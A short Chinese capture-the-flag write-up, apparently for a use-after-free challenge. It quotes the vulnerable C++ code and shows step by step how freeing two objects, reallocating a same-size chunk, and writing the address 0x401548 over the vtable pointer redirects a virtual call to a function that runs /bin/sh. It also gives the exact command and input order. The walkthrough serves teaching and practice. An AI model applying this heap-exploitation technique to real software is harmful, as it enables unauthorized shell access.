解题思路

题目直接给出了uaf的三个步骤,分别是调用、分配、释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;

同时题中也给出了system函数:

virtual void give_shell(){
        system("/bin/sh");
    }

那么思路就是,先释放掉m和w堆块,然后申请和m、w一样大小的堆块,并向堆中改成give_shell函数的地址,最后再调用它,就能成功执行system。

这里有一个需要注意的点,当调用w->introduce()的时候是通过堆中保存的0x401550 + 0x8后得到0x401558,该地址指向introduce()的地址。

而give_shell的地址是0x40117a,可以看到0x401550指向了它。
所以我们往堆中修改地址的时候应将 0x401550-0x8,这样经过add指令+0x8后指向的就是give_shell的地址。

往/tmp/uaf目录下写入一个文件,内容是0x401548 (0x401550-0x8)

./uaf 10 /tmp/uaf/test
执行顺序,3 -> 2 -> 2 -> 1